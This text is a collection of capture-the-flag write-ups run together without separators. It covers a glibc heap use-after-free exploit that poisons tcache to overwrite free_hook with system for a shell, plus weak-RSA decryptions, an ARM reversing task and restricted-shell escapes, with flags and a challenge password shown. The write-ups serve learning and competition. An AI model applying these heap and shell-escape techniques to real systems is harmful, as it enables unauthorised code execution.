0x00000000000000910x55555578aed0: 0x0000000000000000 0x00000000000000000x55555578aee0: 0x000055555578ae40 0x00000000000000100x55555578aef0: 0x0000000000000000 0x00000000000000000x55555578af00: 0x000055555578af60 0x0000000000000008 <--- added0x55555578af10: 0x0000000000000000 0x00000000000000000x55555578af20: 0x0000000000000000 0x00000000000000000x55555578af30: 0x0000000000000000 0x00000000000000000x55555578af40: 0x0000000000000000 0x0000000000000000...0x55555578af50: 0x0000000000000000 0x00000000000000510x55555578af60: 0x0000000000000000 0x00000000000000000x55555578af70: 0x0000000000000000 0x00000000000000000x55555578af80: 0x0000000000000000 0x00000000000000000x55555578af90: 0x0000000000000000 0x0000000000000000``` #### 2.delete a list* free allocated chunk* chunk ptr is not cleared(vulnerable) #### 3. edit a list* it should be used after 5.append command giving index of lists, index of elements* use after free #### 4. prepend to list (I didn't use this)#### 5. append to list* ExampleAfter append to list with index=0, number of elements=4, element=\[9,10,100,101\]. ```0x55555578aec0: 0x0000000000000000 0x00000000000000910x55555578aed0: 0x0000000000000000 0x0000000000000004 <-- incremented 4 times0x55555578aee0: 0x000055555578ae40 0x00000000000000100x55555578aef0: 0x0000000000000000 0x00000000000000000x55555578af00: 0x000055555578af60 0x0000000000000008...0x55555578ae30: 0x0000000000000000 0x00000000000000910x55555578ae40: 0x0000000000000009 0x000000000000000a <-- added0x55555578ae50: 0x0000000000000064 0x0000000000000065 <-- added0x55555578ae60: 0x0000000000000000 0x00000000000000000x55555578ae70: 0x0000000000000000 0x00000000000000000x55555578ae80: 0x0000000000000000 0x00000000000000000x55555578ae90: 0x0000000000000000 0x00000000000000000x55555578aea0: 0x0000000000000000 0x00000000000000000x55555578aeb0: 0x0000000000000000 0x0000000000000000``` #### 6. view an element* use after free #### 7. exit* call exit() My exploit flow is shown below. 1. Add lists with size=8 (chunk size = 0x90) and append elements each 8times. (we append elements to prevent from error when use after free)2. Delete lists with index from 0 to 7.Last chunk is connected to unsorted bin.3. Show a list connected to unsorted bin. We can get the address of libc.4. Edit a list connected to tcache and make tcache point to the address of free\_hook.5. Add lists with size=8 2times to get a chunk which is placed in free\_hook.6. Append 2 elements which is composed of [libc_system, u64( "/bin/sh")].All input is buffered in this binary. So after appending these elements, free("/bin/sh") is called which means system("/bin/sh"). My exploit code is [solve.py](https://github.com/kam1tsur3/2020_CTF/blob/master/redpwn/pwn/tetanus/solver/solve.py). ## Reference twitter: @kam1tsur3
# Crypto ## Rivest Shamir Adleman```These 3 guys encrypted my flag, but they didn't tell me how to decrypt it. File: enc.txt``` `enc.txt` content:```n = 408579146706567976063586763758203051093687666875502812646277701560732347095463873824829467529879836457478436098685606552992513164224712398195503564207485938278827523972139196070431397049700119503436522251010430918143933255323117421712000644324381094600257291929523792609421325002527067471808992410166917641057703562860663026873111322556414272297111644069436801401012920448661637616392792337964865050210799542881102709109912849797010633838067759525247734892916438373776477679080154595973530904808231e = 65537c = 226582271940094442087193050781730854272200420106419489092394544365159707306164351084355362938310978502945875712496307487367548451311593283589317511213656234433015906518135430048027246548193062845961541375898496150123721180020417232872212026782286711541777491477220762823620612241593367070405349675337889270277102235298455763273194540359004938828819546420083966793260159983751717798236019327334525608143172073795095665271013295322241504491351162010517033995871502259721412160906176911277416194406909``` With http://www.factordb.com we can see the factors p and q of N:```p = 15485863q = 26384008867091745294633354547835212741691416673097444594871961708606898246191631284922865941012124184327243247514562575750057530808887589809848089461174100421708982184082294675500577336225957797988818721372546749131380876566137607036301473435764031659085276159909447255824316991731559776281695919056426990285120277950325598700770588152330565774546219611360167747900967511378709576366056727866239359744484343099322440674434020874200594041033926202578941508969596229398159965581521326643115137``` ``` python$ python2>>> p = 15485863>>> q = 26384008867091745294633354547835212741691416673097444594871961708606898246191631284922865941012124184327243247514562575750057530808887589809848089461174100421708982184082294675500577336225957797988818721372546749131380876566137607036301473435764031659085276159909447255824316991731559776281695919056426990285120277950325598700770588152330565774546219611360167747900967511378709576366056727866239359744484343099322440674434020874200594041033926202578941508969596229398159965581521326643115137>>> N = p * q>>> e = 65537>>> phi = (q - 1) * (p - 1)>>> from Crypto.Util.number import inverse>>> d = inverse(e, phi)>>> cipher = 226582271940094442087193050781730854272200420106419489092394544365159707306164351084355362938310978502945875712496307487367548451311593283589317511213656234433015906518135430048027246548193062845961541375898496150123721180020417232872212026782286711541777491477220762823620612241593367070405349675337889270277102235298455763273194540359004938828819546420083966793260159983751717798236019327334525608143172073795095665271013295322241504491351162010517033995871502259721412160906176911277416194406909>>> plaintext = pow(cipher, d, N)>>> print plaintext49459207073075609387052389022856465595244842985649235071628181272612221410724680024945533>>> print hex(plaintext)[2:-1].decode('hex')csictf{sh0uld'v3_t4k3n_b1gg3r_pr1m3s}``` The flag is: `csictf{sh0uld'v3_t4k3n_b1gg3r_pr1m3s}` ## little RSA```The flag.zip contains the flag I am looking for but it is password protected.The password is the encrypted message which has to be correctly decrypted so I can useit to open the zip file.I tried using RSA but the zip doesn't open by it. Can you help me get the flag please? Files: a.txt flag.zip``` `a.txt` content:```c=32949n=64741e=42667``` We will crack the rsa cipher:``` python$ python2>>> p = 101>>> q = 641>>> N = p * q>>> e = 42667>>> phi = (q - 1) * (p - 1)>>> from Crypto.Util.number import inverse>>> d = inverse(e, phi)>>> cipher = 32949>>> plaintext = pow(cipher, d, N)>>> print plaintext18429``` We extract the encrypted file `flag.txt` from the archive `flag.zip` with the password `18429` and we get the flag The flag is: `csictf{gr34t_m1nds_th1nk_4l1ke}` ## Quick Math```Ben has encrypted a message with the same value of 'e' for 3 public moduli and got the cipher texts.n1 = 86812553978993 n2 = 81744303091421 n3 = 83695120256591c1 = 8875674977048 c2 = 70744354709710 c3 = 29146719498409Find the original message. (Wrap it with csictf{})``` I was inspired by the explanation https://www.johndcook.com/blog/2019/03/06/rsa-exponent-3/ ``` python$ python2>>> N = [86812553978993, 81744303091421, 83695120256591]>>> c = [8875674977048, 70744354709710, 29146719498409]>>> from sympy.ntheory.modular import crt>>> x = crt(N, c)[0]>>> print x319222184729548122617007524482681344``` Thanks to https://www.calculator.net/root-calculator.html, we get the cube root of `319222184729548122617007524482681344`: it's `683435743464` And `683435743464` is `h45t4d` in hexadecimal The flag is: `csictf{h45t4d}`
# Advanced Reversing Mechanics 1[Original writeup here](https://ohaithe.re/post/624092576653426688/rgbctf-2020-writeups) As the name ("ARM1") suggests, this is an ARM binary. It's also 32-bit, so make sure to open it in 32-bit IDA or you won't be able to decompile. The problem statement gives some bytes, ```71, 66, 61, 42, 53, 45, 7A, 40, 51, 4C, 5E, 30, 79, 5E, 31, 5E, 64, 59, 5E, 38, 61, 36, 65, 37, 63, 7C,``` This function is pretty simple: main passes the input to `encrypt_flag(char*)`, then prints out the result as series fo hex values. So what does `encrypt_flag` do? ```char *__fastcall encryptFlag(char *result){ char v1; // r3 int v2; // t1 v1 = *result; if ( *result ) { do { *result = v1 - 1; v2 = (unsigned __int8)(result++)[1]; v1 = v2; } while ( v2 ); } return result;}``` It loops through the bytes and adds one to each. Great. So take the given array, look each character up in [http://asciitable.com], look one previous, and write that down. Honestly it was faster that way than automating it. And you get the flag!
# Linux ## AKA```Cows are following me everywhere I go. Help, I'm trapped! nc chall.csivit.com 30611``` We are stuck in a shell and some commands are disallowed: ```$ nc chall.csivit.com 30611user @ csictf: $ ls ________________________________________/ Don't look at me, I'm just here to say \\ moo. / ---------------------------------------- \ ^__^ \ (oo)\_______ (__)\ )\/\ ||----w | || ||user @ csictf: $ echo testtest``` Bash function is allowed, bingo ! ```user @ csictf: $ bashlsflag.txtscript.shstart.shcat flag.txtcsictf{1_4m_cl4rk3_k3nt}``` In fact some functions are just rewrites with aliases In `start.sh` there is:``` bash#! /bin/sh cd /ctf/bin/bash script.sh ```And in `script.sh`:``` bashshopt -s expand_aliasesalias cat="cowsay Don\'t look at me, I\'m just here to say moo."alias ls="cowsay Don\'t look at me, I\'m just here to say moo."alias grep="cowsay Don\'t look at me, I\'m just here to say moo."alias awk="cowsay Don\'t look at me, I\'m just here to say moo."alias pwd="cowsay Don\'t look at me, I\'m just here to say moo."alias cd="cowsay Don\'t look at me, I\'m just here to say moo."alias head="cowsay Don\'t look at me, I\'m just here to say moo."alias tail="cowsay Don\'t look at me, I\'m just here to say moo."alias less="cowsay Don\'t look at me, I\'m just here to say moo."alias more="cowsay Don\'t look at me, I\'m just here to say moo."alias sed="cowsay Don\'t look at me, I\'m just here to say moo."alias find="cowsay Don\'t look at me, I\'m just here to say moo."alias awk="cowsay Don\'t look at me, I\'m just here to say moo." while :do echo "user @ csictf: $ " read input eval $input 2>/dev/nulldone``` The flag is: `csictf{1_4m_cl4rk3_k3nt}` ## find32```I should have really named my files better. I thought I've hidden the flag, now I can't find it myself. (Wrap your flag in csictf{}) ssh [emailย protected] -p 30630 Password is find32``` On server, there is many files: ```$ ls02KG7GI3 3E7ZTAVL 5HQTP051 82R7NE45 A8DWWULS CYNFLG1O FUF4GEJ2 IUKF08Y4 KRNKFQTK M6MO9M1W OAVKKSIU Q3VV2P04 T0ST0WFT VOAZ2FLA XM6M6XV302M95EZJ 3FSO4YLX 5OWRFEZT 84XR0NUK A9ARPBTE D01U0OA5 G18VV3XH IW0M1T97 KRTDDSYK M8XE7P73 OB0TZRYT QBZ2NYYY T5D06H6O VQHX8Y2S XVXM67UN041Q5VQ6 3MPI6ZGG 5S7QF3H6 89JKXHMI AK1L1RB0 DC953402 G20VWPOJ IXLBEBRX KTE9QN31 MAC4PGYS OHGWT0IT QDDZKQBI THW3C7CC VS2QLP5T XZ5KZZPR0K8HTQUI 3NI0KD8T 5ZCQW7TK 8AYM8OQ9 AK6PZX3H DHI6XKWG G4DRQMVC IYLAWPCR KUNZ9OP2 MDZE1NQC OI290XGJ QDZM9GU3 TIE17JV7 VS5RKUTC Y0WAA0QK0L51GUQ6 3O7SZPP5 66SLWGGM 8BHHDOCA AL2HOE1I DQZAE7MY GBIA0FJJ IYT9TNZ3 L25P2X6S MIN0CJNB OJTT5YOZ QON3WELD TNGM39LQ VU7UXE91 Y2F5YYPT0POE7NLS 3SF18NHO 6IGISUOK 8DCJBGN8 ATP6Z1LV DVRULQ4L GCCH7GUL J634H910 L6RJI5MH MITS1KT3 OLHQ2XMI QV763DK6 TNNLXAMK VUU3IP28 Y41T1L0P0XC8TJL6 3WJNQHOI 6IS45I48 8O23G30S AYHI7FZG E2DCKTAW GGK14ZEP J9K0N1G3 L97LN1SA MLNCZNJH OM4BZRJ6 QXKDIR8P TOD5ZOWV VWXNPY8W YB6CGUEN10KS7XSL 3Y6ULSYJ 6JFHFM48 8Q8IDTC7 AZBQ6DI4 E2WWNK1U GN72VYNY JBNLA5LS L9HIBPO9 MLRX5NHC OO08I86R QYBFIDQA TP72DLYC VYXH92ZI YGAD81HL17HSIYXQ 40HE4X61 6JJ8M6EQ 8SQP2JFV AZF6YNNW E3VMO1UV GVAUVIPU JCUBGZ0L L9NCYUOA MT0ZF01M OPTKWTEN QYKLAVOR TQYI4JH2 W569XUGK YI5ISTTI1DB6A3RZ 41W0HO2L 6KPKMW7F 90ORMN66 BAL0FX4Y EBGAB2T7 GVTHMJMC JD8K3921 LA28D194 MVYJ08ZU OTQLM9FR QZBKI0LI TY2N5W2V W56UYZUK YI9VPU711EBY9SNN 4DXWEUAK 6NZ8YTHN 931P2T2C BDMSPZFU EDL1IX5Y H782K0GF JDVT05Q1 LB4B6X6P MWE4SJWL OVB0C2DD R3O1QJRE TZ4TM4KC W7N3EQ8A YJ4H3LH91TE2UPR9 4E5VZT6C 6O893R7P 95NBR36B BDYM2DL3 EJKM4P8J H7PWE6D1 JL8V5YGI LDMDGEL4 N56AGDMY OXNCWNKP R513RF7X U1HE6HJU W8XHJP69 YJPL7KY51VQPZIUO 4FMGJMPX 6TQAQ9JL 99KWRIDG BH13PMF2 EMAPY1SV HI1HXC9E JM035B27 LF6NHZRK N8O0W1UR P7U25CJI R75LDKZA U1Z144SU WFLCEXOU YLTYQ7PT1W6RAWEU 4LMTFZCM 6Y96J42D 9EO10QRH BP1QOD2S EMOTUDML HJ7SLXWJ JMXU733Y LIVI4VP2 N9ZX32OP P7ZSATBS RHZ4QIGE U4CT6S3M WHYUOJS2 YZOFT12321X763CW 4LYTO0ZG 71PCO4II 9KHTQSOG BRKQC7KI EPIGX1NO HKX85U5A JNTGVLSL LKLQLQ8B NDR9IE07 P8H2QJZE RSA9B4XA U9KXZUZT WO7DKKIR Z8TPG2SQ24CHFLCM 4NE1DLAV 74EIPRM5 9KQEWTD4 BT4Q0KSC EUXTE3IX HL9OQ59W JQJIA3QC LKUM0ZLZ NGT5TVLI PBMIEOJ1 RXHHGT3D UFF3VJES WQYZVZ02 ZE0LYP1J24UQMOA7 4O0KVR5P 784MLE5E 9KVDBM8O BUIYBJW6 EXVHNHYF HTFON23U JSWT0A61 LP29J6MU NJJ4FIMD PF2KOY3A RYRXFTD0 UFRWO7LV WW5L7JNK ZIIFJZRE2FFS4207 4UOCNFI8 79VJFIU5 9LNZ0ETP BW90182E EYN874N3 HW9ZGUI0 JW5DHBI2 LQWDHMT1 NMMNMEDT PJU5YNCE S3CQF12S UI3CYXEH WXW4GEDU ZKOYMDBL2L9WVOQA 4VTQDZXG 7EA2V52Y 9MP89P4E BZE1NCWY F4K726ZE HWR8ILW8 JYP14B13 LR9H9RJ4 NNGY3F51 PKEIXGTL S50ORS2M UK268DBR X1SVRUTM ZOM1L6RA2MMNROKS 526KAB1Q 7IKIFVQC 9QNUXM4L C1KDRW2G F5FFWSP3 I0GJ1ZT2 K5HIYP7U LS1E6E8N NQ3BFZKH PLE8FFL4 S9796BM8 UMVACDSG X23268R9 ZUIZ3BRS2X82259Q 5669QKVZ 7JKVQ1V4 9R6FWLZQ C5L2LOAA F9T58X71 I0HK3F0Q K7H88QI2 M0ODDGTQ NTIJFZDS PM7NRHP0 SA13FEFE UOKCOUPN X44EBTIV ZXWG1CJB31H6U39X 5714I59N 7K2HS4Y8 9SMDHC89 C75ZYB8Q FH0FGQU9 I3QH2SGS K80WPMFB M2D9A9GW NWAG08DF PMWQY71J SGCS15D7 USP8NX9I X4O9C3E9 ZYSF9F0A32DJSRCD 5D8MSKXV 7O0E74NI 9TM8NR4D C7LAWJCM FI9WZ1NI I7BE5SNQ K8670JAD M2W3FH21 NXH2E4FB PN7VNWMY SSNMEO7G UTNI6PSD X70F203P36VMK9BG 5DNAUH8Z 7QQAKH41 9UGJX4Z2 C9EN38OZ FJATAT6I I7BYYSUH KDT49C2O M40WA6L0 O08K936H PRIT98R2 ST1FTYFZ V8A4PPEG XA6HG1VW3B2F652L 5DY1KZDZ 7UB67288 9X0BSFFX CB7VL2AM FMZXZWMD IHGA1LHQ KJ26BDR0 M45WG887 O20W8JF2 PUKTT71A STYTHKQE VCSYBT6V XAGJI6C33C71HLAH 5E0OD9MJ 7UYWYDBZ 9YN7B5TM CR8AY5W7 FOGK2TD9 INUIDPFZ KOIIQDDB M4PSP87C O8C1K8CS PX7XX8MV SWD8ZKVQ VFFKFKFP XBJ59Z813CWSG1VM 5FOOLY10 80TD6MQ1 A202VRDJ CVDGAH14 FPLW13DY ISW6FLPB KQFVQJ3J M50MK22L OA9OWQNN PXR9X9H1 SXRZ25DU VL8QUY6U XESS84R7``` We try to grep the flag:```$ grep -R csictfMITS1KT3:UY2HW2WIYX3EB5E4BKRMS2YHBKT82MVPUISKZFNOWYXQUHMD33CJNPWIFDKOI7IPFBESU2HLNZ4EH6CJCNWYO6WM5E5RDI1Q89HQFIHR1EM4VFN451F0RD448XEA637K7YFLXQ9TKPINU9R4CUJE2GQD93K1A0P14WJGL9J8YQRQFEDA2NMD5IUXBQ2MPZFVPS665APY55DIXS48PQ40TUYMUPU30DQ2RABAZVSRX3RVOHH5SBDJAE0GN1J0MHQVFH69S0ASF76HKH6YQF51QSZD378VK5YOHR3G9KUYK3M5GXSK9W4JENVTI4MU2FZHMJ2R10YS9FNZ9PAS0BH198OYW8ENEJEF6816QJ8AJGNOEYS4MSL2CZ6O07LGMEVM12HVDNEUT9PA9NY23JDSF7AIMOG0BQ5CDVFNQGYCJGDGZO2YAP3JVIFYFGCJ2K58XXQZNL1D8NW8BESVKZC4UST3CMN1TVVFID30X7HNCPXTWHWLO0LGZURH50M444SPMA2IZR2SKM1EPTP2F1IMW0IQGJWE3T3J68883UEHDG2CC2YFZ2WQM45J0E3J1HX6NS2N69GOKZUT2JSYTN7YRZNTILR0LMTAPCZJMPXU6MH2A6PGVLAQXGWD6QDWE7PT6J0TAAYTJS8VLCQ1767F2OOWSX9RJRDL7P17XN0F7UCFUNYNI47G4YZAXP6FLKQC4WKZ09JLVTNBER63BQIWX75FA6POEZ014NF3S3RZHG2R9WXOHGBJI67XX83HYKDFKOORYPD1VMOZQ11PHX3E301U0C4Y74SSY9N1EC0JJQBDMAQ82NE2NQDDH4UG8P5A587B548S7LA7HZYB0FMJHLHY3VV5PITD722ZIY61B8O7OYBBZRXWV5VP6Z1EQACN6GD0OVFCE4K1SRGQPZR736995PS5NOLSCH3HXPY75VXUS74HJYMFK4U06F274ZURG5Q48W29989DER4XHDTX8V9OYQUKTIHI7ZFRWSXXASMXGDCNKHX6YPYAN9GWXEWC8FRS61UAVF8QIASIHT9M4443DP8N86OOAXWJUZX1R4TNYC7J7EZRQKV4S4OAHXGT1G86C4AKGGHT5R0QPSB2V92830R70RMRJ3GJO1SRKPOR2Q84JRW0B8AIT6HLZFFE1MEP9JJWXB55AU2W7AJGY5287QJUYG75MQ2MF0MOVC95F7Q7ECOG4U01QC3JCH7NDYVY4JNXTO42FWIMKKGI63OIIKIG31KTMJQOH0LMUGVOVKC3A8IA7BV505M1171C7TG5Q56QVUNV6TSEAOYUC49RP2GZ43FFN9M91M03LLF9FMZPQSAKEAQJGLEDB9D8K2A2BNR1TPQH7DDSY9I8ECZ86KLSB3P1WRPYO89A2H4IDPFKTOKCFGT1QPC7YVWQW1XRD5QCUOXC9OOHZ5KOGN1FVBG3ZYM3M8LMWCDBY4YUELUSAXL6YQB4JGJNGHPBONQSSTRQJTUGHDMHOVDNU8ZYZBLG7NR456SEXVKEJE4ZN61S8B40CG65YB8QCHHCSIDCUHY220PGRX620UI990D1MOPSBTZYTARLS1IBG7JOPYDG2PN041532CBHFQZ6L4YQ9PNJ7XGSTLO6U7H9C6PN2RQQK8AZVS7ABCMBSU37U7RWT515908D9FEA956ATLQWKNWO2E13EK23QRTK72BFTFAA18XBOVEA544IIYT8R1SNSZDHYSRB3ZXKB8UJC2TN5H7FOUGULPJTJNL4UA3VWM6IVHUKFV9VY9VGP9USC6TJVVQ7DKT62NFN9ODPK44GQU5XW2DYOYLJT3YIF0IX2LDO3IVHAQOLSVDTV0B2IT6OR31CFETD13F7EA1KXTW1TKZJ2A2EVTHPVAKQ63GB2NMS2SKVKV6TQG0SD96CCMVT68F642T548O8GIWHFN68QQ9DSC376X5GEGUR28I4NZUSA2VWSWRZZRLKS3TU8VHSQOY19HPWQYWMZPSY7KSR5TI10OYJIGE3VO26D803CVK40BLHNMIGGBKISLCLZOGV23GDTWN7LVMV59V3W5F77DAB1ZJYF71TID2OW1BEMM15CXP9U8FFOTW03BQWTV8HSBN1830FL6ADCB0Z6FVO3XQH6B812XZTP2398D6XTT5VQ3ZGVDVEX4EUPXJJN9IQ8VB8EH4ADQICAUCBO958M6XKI01ETKI7V6AIRY6KA99YY0NN3Z99HPVNCBN82COOWPV6M1LZR4Y35LV0YQWEHNP15K0S42MM2V0GVVPY2QKXLPVLL9SATV3XB173OPQX7O0KMWI30BIEWYUZREHMBCPU3081S1VPZPCWRTGVZ084X3CWKP0CN6SWZKJW7T4TVGRQ9EWKZE6N3S3HF3RY06CZ20FFO8NCNWHEATZ8LQW9DA6BT8D0ZRG74GGAN69S51HOGBXRICMRG0L5QGV0CAQE36RIYODDZFGAIYSUT0LSBXSVNN9EJWZCK6QVYJNTDIIAJZOMBBVU92487MVRSKCGGVA08I7Y1BQ6JP7HM5CO15DZ6MX11CDJ8OOXJT6VWYWAYPH5ZLA5M10DL7FEP61I75LDQLVPDQ5CSUPJ1LO8OM4FN34GXWORQDJMU2UE21X0Y2JQLR11BXAAIW49WNZKAQTV7SKOJN53L1QL0VP8DYX4ZVBKG6QIG87G9PWTGB0LQC0NLFBP1XSQB4SU5VAA8QHM60U2XK8GBY671I7BNCS8A1MUT22ZGGIUJYN9VTXLDR85BACN0YK6JWEQJEYDZ5CZHMQN5I0XX6T6UK9CRPOURQPP9I2VJ2H3VWIIGRU594UU58O2H45Q3HUXRFS4FXJVAX0OIRGO46O879763E3UWXCBTOKN8SNT71V2TTH1RGCEGOOVTQTBMB9VTVHLRNT7C44V37MUHCMKQBPNML8GAK7LU1U0DRFX9HX1JBOR4XKOX37ES9YRNYQIC0YXI99DU4X5ZMTXJSUW7IZ2GC77DSZYUZ8OLYGTZ5C70KWROCOCD7DZMTM2KDBY7B4VN93CANQM7VG1MA8ZS2Z1RU1558OPJ913JCZAPJYAV6JHIUQ4ZHV254OJIBTOM1VM0RWTTYAICCNQMW2SC21E5PYNTB2FC7ANC14ZHQO2WU8J2HZWZ0PLI6GD778FN63Z3XEOD9Q0RUVPKHAALDE4G0RVFOLXNG9II91K9H8W3E6GTS2KTNXYD46AX4KEUVTU4ERXQ6ZMF74L7BQO5H0AU1HJ9NFVINPUOWFIU6H659140G03G9I7PTZB21O4S0PJ8SJ96DMQOE6MRHDZYG19S1CVURD2J9FF9RG1CVBJRXC5UWRYN6Q7DKB95BJRO6WQX5PTB96NANLZK6NPD6TPNDGI14QZXWCXQI0FNK5E8514PJ08I789R6P6634MUN08HZPK92W3HTPMQL4GUP48OEQPW7AHUQLXAX6QMJXISRSAX2IR75LS816FTX92UPUT7KKZRLT2EY9RQPFXIIK8PL5XDMLVMX6CC9EE8Y7QA7LUO5PKUQ1P28IHL8LGBDTAZZO5Y80WD2LOZ3CPEO4A006LM8HYTZ6MTR4J7AKJTQ2HI76BZ4UOWOCL4SVM4BZFNSTHRUX7YT9B8D4HXSW8Y67OOGRZMNSOFX7WI99SN1RQQ8BOEWS655PTNEE8ERKV6VI6P1YSRNEJDZAGSHFLX4XNZ9FMK9ODW9BP3IRZH2QF6VUPPPJROS33X2M8G7N3HXP4IFBQOC07OOTQF2D2D4I81761RV3JTJG93WU88BJXEXLNIRFU9Q6G71M954K6SAA0S70Z2VQFCQBX0UHY5MY2SX32CH1O2YP0XB4Z8EGR3ZQHNZDXLDD618GT1A5F5DIQ7EAOU0BPXYV0VUZ2W30QHGVMLYWG9YIU9XE2JND6KOODIHBQNXWGRFY4ABO07KLP3J6N3WS1M50KCGEZ9FPQSHJBUZNT4QOM07TVZ43FRXXTPMPIWRKYSPJWU2BJL04KJ3ITZVTHBQM9J9OWVX8csictf{not_the_flag}{user2:AAE976A5232713355D58584CFE5A5}WOQS75G7TVPTTN3RBXGK96HGINKCRZ1Z8JP6N44KC02C9E8QWWTA2HW61CHPMKIZEZ6MYFR7N2WKVK93G5NBFEYYIGLUVXWK8NB3OZ06NLJVLRL6AXEXCYV6Z00CMPDPA7TU0G2CCRI5XNEEZQ79ZKC8B9WF0R79KX5X0EO0SVR8DLK7A5E4ZUO0A4ZYSP3DMENRTSIYRBP77ENRO94R3YWYGV154YX23Z6GY9V4U1ARL3PDFU6XO9RZOLJEJ1XXRR97HRV6TBSITPQ563V7GAAQSAPVY01KD8OSOQ1A78NJN0U4LRQN2ONQ0RTNO51W3227SH1BRGKC1SF9J8N72PMYIKMNJLE1XIH36AR3XU22NRTBTWOKEL9S1JT0THW0YF8MGC22RUERM34LLBI6B0EVMZKTE231NH9LTJBMKIABUXQ9CVZWTGIM2PFUNDFZVJSG14WO8W5FCJ1G6H1VXM1HP8Z92LY98JSYW2WDTHZVWF2AWZGTIY3OIOK0SEVIUOZT1Z41QS0C3W7FTRJEOZ3V3NDY517A48030C1362BNZHSZXYOF1CMANHQ408M9FF5R2Z9HC5BCDSKFLHAB3YFJ414WXCIOSPSY18323WYJL2FG0JHJA1ULW3M1KB4VXNWOV6MYU5YV88WJ8L03OO6738R50LI8XKHFR0TDVSFNEVRG95LBPMNUMRLP315YU6JMK4H5IF4B1P4N1J5YATTL6FFU9EMH99XUPEWXHH8TOZ4LBEFKGBS0LJMBRA6HULPB147O4DWNUALAOYY3VTXEUUT6CQL48PBB65AOU88UXDS5GHANP9A2XKF1MRRFTHJWLNEP3TMSK61ETIY82OS6GRYFQ5A6PXAVIWCSNT1H5CBBBDP9E2UOEVQBOOI2U27RQY4UU5QEY6GX75E72RO7RYESFMQR14LT1IS605XI4J5U7TYZN6NCIN2HH2WWUQ7DVWYPAGG3OZWHS3XE2LYT7N23WBN06S1RHR2I2A213US00MU6RDLCL194VL6221A6GS7XYFDSXPZQ458LVL1MCKTGV44OLC1LPLHTNRYKTXMDEM640I97STPIRPQ2OHCI3J6I6DL14FTJ1NWUV2U0V0GSW3TVUEUKXATKLU4DVFMPP1P8WLC1PSOM4ZMN6425OO27WSDU0QGWYRJDP90CCDIE2PFI212HBL7VSPQGA6L5V25JC6G3SHAD54GZYPB068DKLMQR5O6R950KV7VRATX628KS2SIS2QOF7RLF8GLGDA1HNL0UQ5FA7375ZR009M6NXQSS96JYJ7LU5T0K9S18MSMUC63O1200JCR8C9LPAGGAL3VTWKM1FEAH1KNJCUYKY61I7MTDSJG4KHKZD6ULTT4VAKH70S9QJL99YL9KKG7IEDHUNKE4TB7LH6NJW66LGU4EETSV3GOO82S2EJQ747UX1XNU5PVH1P98TUSI3D8VY4677VBHPYSBXVOKO1VYQ1DMGZ28W1ST70L7VJZ7EA2XZYNPHYK5G38AZ1JTLKADAFHIV69SGWGXDRD95SGC2TDSRC696QPSVLIC58SGBOUYWGXDK9OWL99T8H23KBSALFEHA0U275LJG86R6W3R2V2TRGUM3VAANU0ZRV87IPHT7YE47OXI4UIDTL16501WZA0TYYLHJ6QW1QNLJF1J9ABNG6FYUE6BPMRQSDGCKSYQZU2606NOVBN5527BOBBZYEN21UFSR78CKSDJ33FE8EOM48NLKY8NDGSBI6S98CJ0CP31S2C904DKSAHXW53LMG5MQQDGSPWUINDH6KE58HY0WWY2L5FF5SM7F91QAWUKCR89VN60GQDUDFQJA4BUH9IRC62LYT0U5GV9V3RCQ5JJXSF5UOP3SYFWM83AWXHU2YWO2AF7MTX72OXETJGI97BC3CLOF14Z4EEAB65QDFWEZNXUJR9ME3L636AJUDA5454C8J8O2YX3AS6DC9H9GL61CHAWODSP6VR0KKB5VF1KO7VXJ79DRATCORP792OU0WTN2R1QNSQ3Z11GD3QTWAC07V7WHDYZ5AQ46YQYO3G8VXMHBV0CHSUHGB7NHLR83ONUC5AL9C5ETLAW050TLRWI9Q7JLHI0DDJFXRUEAIBA6GKFZ7KLJEOMWDAEF17B1L48WVLBDXGHLMS11153WJ6VQDQUAGYSS5P7I2ZC9LOEP5CB705B3T6U6BF4PZ2HTILN4X0T08YRFYRNCCBTZ6KZUYGIRLBKCLY47O6G07PI59OY2IH3FSH3GIPNLSVPJWYLR9FPL0THPTQE362JJNW3VXVE0CPQ49GRV65I2H68KF2EN5VVOEKZY9F5X4FUFQ6M8CFLJEMYU3CZOTPV7I579OI2UPBE8VWDTLGXY06LAA5K969EBP2GVF9AXFEU6S86ZE3C9OTJS99NDGNRXX2C1M5J39DF145L5OW1NEDMGBCDVYA9C5RS54H0K3XGU1AKRI2VCCX5MI56BW6AGGSPMKSDH6D00OD49U0O3BOIF9Y5J95ATGBKUKWTKE7J7PW4LTONO5Y50DAAHGYSQAUPCP2GIKGOSPEM84K68PYA117FT54FDAB1251BK34OX92TVU8IVN8MRGC40BDQDAJ8Z0RJKPCM96FF1XF2XFAWDM9MTRVRPAZ0MFNKA8JRLM318U6IYYLV4D7ZV77AA2SSG1IJ296WE1D4ZB5E4BTNQHPKAU4K732ELAI2TZ7MXOWOIILLM21OVCH4F0F34X8HM06EKDNPJX1CKKGE4E2ZCQTH8XQLCPVYHGKWY350VX5SPKN8GJP9ENOAWT1TVTJURJMB3B20EZXIJP3JPK0K4Q4QX45HWCPS0S8FQ55W99R0868Y02LKHG1BI2BLG7DGXBVUP0IEO45JFI407Y40F4DUSEQZ5E0T3Y4HYMRAMN1E0AYV5ZUYU0W51APTDK6WT9QU8X845YK8VLTC7ZI1H8EAZBVLLRFWO5UL94Y85SV2PO5298725IT49NHOUUVEVW4LTL2Z0E4OC184QVKDW8MGWYWWTO7V2G4NFRCO22EYRPNF3OGD118E8SD3GGGB0UT0Q6WOGCTJWZXG5P8VBFEBL1T6HAJQKECOEXG82R84WBA8HAEXW4RW9RPQ5C1FU0KT78VTRSYHLPR9KZZ8HO28LWTU78A69TGHIV87YJJQFYM6MOL2QEVIHWTYQARVTUF6WDQQMC04S2LN66L6X99IIF5E2KD3THBAZLD9QBBTLWVY8TXDL81D1FBL0WMIHT0PIMZ5CSHP7EADOVRPLMPXGADUH6VMJTPTQ4P7F48QEJCY4S7EQS20E6N6L7UY1VI9LEWUDP3O5PAAKKFVTMT7Q40XGFEHSG01OMPX3JDVFV9U73Y6J7AKCTDEKOYEJ38NSAD5ULXJ1LYQ4FNO10QZVLK75NONJK8J0GPEH7DKGMIAW9I43JVUUF5OY3T7X4TMS789LQZDZHFCASPHSTASYM6RS3CTCYQYL3123IAZRDOR8PB6DXU2MTN8PMYKSGA6NRNXY5CW4YISFO7715OEID2XQYDW29L8EFXICBRO5TJ6YJ4KE47B09T2T3Y55FPO3L36SPT6G8TO39I7PUYPD4TA8QCEUTPQCPFBWH80FP6BVT78DWS5EIM9EKJ6EIL8J8NCOKTGGW0ND8M9LZK0Q92CBBRWWWS4E9XJNDM8BETVC1S27TI3CV1FQ28UYRW5WFTX0VHJ8Z9